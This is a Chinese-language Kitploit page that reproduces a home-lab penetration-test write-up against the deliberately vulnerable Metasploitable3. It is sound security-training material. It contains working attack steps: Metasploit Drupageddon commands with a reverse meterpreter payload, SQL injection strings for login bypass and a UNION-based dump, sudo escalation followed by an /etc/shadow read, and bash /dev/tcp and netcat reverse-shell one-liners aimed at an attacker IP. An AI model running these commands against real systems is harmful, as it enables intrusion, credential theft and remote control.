Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
metasploitable3-pentest-writeup — Metasploitable3 的家庭实验室渗透测试报告,涵盖 Nmap 侦察、Drupalgeddon 远程代码执行、SQL 注入、SSH 凭据复用、sudo 权限提升以及反向 shell。 | Kitploit
工具/GitHubGitHub/adfortunato/metasploitable3-pentest-writeup
权限提升侦察密码攻击漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
学习与教育
实验室与实践
GitHubadfortunato/metasploitable3-pentest-writeup

metasploitable3-pentest-writeup

Metasploitable3 的家庭实验室渗透测试报告,涵盖 Nmap 侦察、Drupalgeddon 远程代码执行、SQL 注入、SSH 凭据复用、sudo 权限提升以及反向 shell。

查看仓库
119小时16分前尚未审核

Metasploitable3 — 渗透测试报告

作者: Arlen Fortunato
日期: 2026年9月
环境: Parrot OS(攻击机)→ Metasploitable3 Ubuntu 14.04(目标机)
范围: 完整网络渗透测试 — 枚举、利用、提权、后渗透
类型: 家庭实验室 / 夺旗练习

⚠️ 以下所有凭据均已脱敏。这是一次合法、隔离的家庭实验室演练。


使用的工具

工具作用
Nmap端口扫描、服务/版本检测、操作系统指纹识别
Metasploit (msfconsole)漏洞利用(CVE-2014-3704)、会话管理
msfvenomPayload 生成(bash/netcat 反弹 shell)
nc (netcat)反弹 shell 监听
curl / sed手工构造 SQLi + HTML 输出格式化
ssh / scp远程访问、凭据验证
openssl s_clientTLS/SSL 服务验证
gobuster目录爆破(Web 枚举)

侦察 — Nmap 全端口扫描

root@kitploit:~
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

操作系统: Linux Ubuntu 14.04,内核 3.13.0-24-generic x86_64


发现摘要


发现详情

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — 误报

漏洞: UnrealIRCd 3.2.8.1 历史上曾分发带有木马的二进制文件,当未认证客户端在注册前发送触发字符串时,会执行任意命令 — 以 IRC 守护进程用户身份实现 RCE。

利用尝试: Metasploit 模块 exploit/unix/irc/unreal_ircd_3281_backdoor,配合 payload cmd/unix/reverse_perl、cmd/unix/reverse_netcat、cmd/unix/reverse_bash。模块自动检查报告该服务存在漏洞;任何 payload 均未返回会话。

执行的故障排查:

  • 端口可达(nc -vz)
  • 确认端口为明文 IRC,而非 TLS(openssl s_client)
  • 从目标机手动反向回连,确认出站网络正常
  • 通过 nc 手动发送后门触发字符串,返回 IRC 协议错误 451 — 命令被解析为 IRC 命令,从未执行

结论: 版本横幅表明为存在漏洞的构建,但此实例中后门不存在(干净/重新编译的二进制文件)。归类为不可利用 — 误报,并附有证据。


2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

漏洞: Drupal 7.x 在 7.32 之前的版本中,数据库抽象层存在严重 SQL 注入,可导致未认证远程代码执行。

版本确认: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

利用:

root@kitploit:~
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

结果:

root@kitploit:~
getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

后渗透枚举:

  • /var/www/html:chat/、drupal/、payroll_app.php、phpmyadmin/
  • /home:16 个用户账户

3. 工资应用 — 基于 UNION 的 SQL 注入(手工)

漏洞: payroll_app.php 登录表单,密码字段存在 SQL 注入。未使用任何自动化工具 — 通过 curl 手工构造。

步骤 1 — 认证绕过:

root@kitploit:~
' or 1=1#

' 闭合 SQL 字符串,or 1=1 强制为真,# 注释掉尾部引号。

步骤 2 — 列数 + 显示映射:

root@kitploit:~
' UNION SELECT null, null, null, null#     -- 无错误 = 4 列
' UNION SELECT 1, 2, 3, 4#                 -- 标记:1=Username, 2=First, 3=Last, 4=Salary

步骤 3 — information_schema 枚举:

问题答案
数据库版本 / 用户MySQL 5.5.62,root@localhost
数据库information_schema, drupal, mysql, payroll, performance_schema

步骤 4 — 转储(密码已脱敏):

root@kitploit:~
' UNION SELECT username, password, salary, null FROM users#

4. SSH — 默认凭据与凭据复用

路径 1 — 默认账户: 默认 vagrant 凭据对通过 SSH 认证成功 → 该用户属于 sudo 组,拥有 (ALL : ALL) NOPASSWD: ALL。

路径 2 — 凭据复用: 从 SQLi 转储中收集的凭据直接通过 SSH 认证为另一个实验室用户(luke_skywalker,sudo 组,(ALL : ALL) ALL)。

意义: 展示了跨服务凭据复用 — 应用程序凭据映射到系统账户。


5. 权限提升(两条路径)

  • 路径 A: vagrant → sudo -l 显示 NOPASSWD: ALL → sudo su - → uid=0(root)。
  • 路径 B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)。

无需本地漏洞利用 — 两个账户均持有过度宽松的 sudo 授权。


6. Shadow 转储

root@kitploit:~
sudo cat /etc/shadow

提取 16 个 md5crypt ($1$) 哈希 — 提权后完成完整凭据收集。


7. 后渗透 — 反弹 Shell

Payload 1 — bash:

root@kitploit:~
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

在 nc -lnvp 4444 上捕获 → 交互式 shell。

Payload 2 — netcat(命名管道):

root@kitploit:~
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

在 nc -lnvp 4445 上捕获 → 交互式 shell。

机制: 命名管道(FIFO)将 netcat 的 stdin/stdout 桥接到 /bin/sh,形成单套接字双向隧道;之后清理 FIFO。


修复建议


免责声明

所有测试均仅在隔离的家庭实验室中使用故意存在漏洞的软件(Rapid7 Metasploitable3)进行。未涉及任何生产系统或未授权目标。本报告仅用于教育目的和个人技能提升。

下载工具
端口状态服务版本
21/tcpopenFTPProFTPD 1.3.5
22/tcpopenSSHOpenSSH 6.6.1p1
80/tcpopenHTTPApache httpd 2.4.7 (Ubuntu)
445/tcpopenSMBSamba smbd 3.X–4.X
631/tcpopenIPPCUPS 1.7
3306/tcpopenMySQLMySQL(未授权)
3500/tcpopenHTTPWEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcpopenIRCUnrealIRCd
8080/tcpopenHTTPJetty 8.1.7.v20120910
#漏洞CVE / 类型端口严重性结果
1UnrealIRCd 版本指纹 — 后门探测CVE-2010-20756697⚠️ 误报模块自动检查通过,手动探测失败 — 该构建中不存在后门
2Drupal 7.5 — Drupageddon RCECVE-2014-370480🔴 严重以 www-data 身份获取 Meterpreter shell
3工资应用 — UNION SQLi(手工)手工注入80🔴 严重完整数据库转储(15 个用户,明文密码 — 已脱敏)
4SSH — 默认 + 复用凭据默认 / 凭据复用22🔴 严重vagrant(NOPASSWD sudo)、luke_skywalker(sudo ALL)
5权限提升(两条路径)sudo 配置错误N/A🔴 严重通过两个账户均获得 root
6Shadow 转储后渗透N/A🔴 严重提取 16 个 md5crypt 哈希
7反弹 shell(bash + netcat)msfvenom / 手工构造4444/4445🟠 高在攻击机监听端捕获交互式 shell
payroll 中的表users
users 中的列username, first_name, last_name, password, salary
用户名密码工资
leia_organa[REDACTED]9560
luke_skywalker[REDACTED]1080
han_solo[REDACTED]1200
artoo_detoo[REDACTED]22222
boba_fett[REDACTED]20000
greedo[REDACTED]50000
(+ 9 个其他账户)[REDACTED]—
发现建议
UnrealIRCd 版本指纹验证二进制文件来源完整性(校验和);升级或移除
Drupal 7.5升级至最新稳定版;应用 SA-CORE-2014-005
工资应用 SQLi参数化查询 / 预编译语句;验证输入
默认 SSH 凭据轮换/移除默认账户;强制基于密钥的认证
Sudo 权限过度应用最小权限原则;移除 NOPASSWD 全量授权
凭据复用强制每个服务使用唯一密码;制定密码策略
弱密码哈希将 md5crypt 迁移至 bcrypt / Argon2id